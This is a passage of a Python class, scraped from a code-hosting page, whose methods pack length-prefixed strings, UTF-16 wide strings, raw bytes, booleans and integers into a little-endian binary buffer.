fmt = "<L{}s".format(len(s) + 1)
|
||||
self.buffer += pack(fmt, len(s)+1, s)
|
||||
self.size += calcsize(fmt)
|
||||
|
||||
def addWstr(self, s):
|
||||
"""Add a null-terminated wide string (UTF-16 LE)"""
|
||||
if s is None:
|
||||
s = ''
|
||||
s = s.encode("utf-16_le")
|
||||
fmt = "<L{}s".format(len(s) + 2)
|
||||
self.buffer += pack(fmt, len(s)+2, s)
|
||||
self.size += calcsize(fmt)
|
||||
|
||||
def addbytes(self, b):
|
||||
"""Add raw bytes"""
|
||||
if b is None:
|
||||
b = b''
|
||||
fmt = "<L{}s".format(len(b))
|
||||
self.buffer += pack(fmt, len(b), b)
|
||||
self.size += calcsize(fmt)
|
||||
|
||||
def addbool(self, b):
|
||||
"""Add a boolean as int32"""
|
||||
fmt = '<I'
|
||||
self.buffer += pack(fmt, 1 if b else 0)
|
||||
self.size += 4
|
||||
|
||||
def adduint32(self, n):
|
||||
"""Add an unsigned int32"""
|
||||
fmt = '<I'
|
||||
self.buffer += pack(fmt, n)
|
||||
self.size += 4
|
||||
|
||||
def addint(self, dint):
|
||||
"""Add a signed int32"""
|
||||
self.buffer += pack("<i", dint)
|
||||
self.size += 4
|
||||
|
||||
def addshort(self, n):
|
||||
"""Add a signed int16"""
|
||||
fmt = '<h'
|
||||
self.buffer += pack(fmt, n)
|
||||
self.size += 2
|
||||
Reference in New Issue
Block a user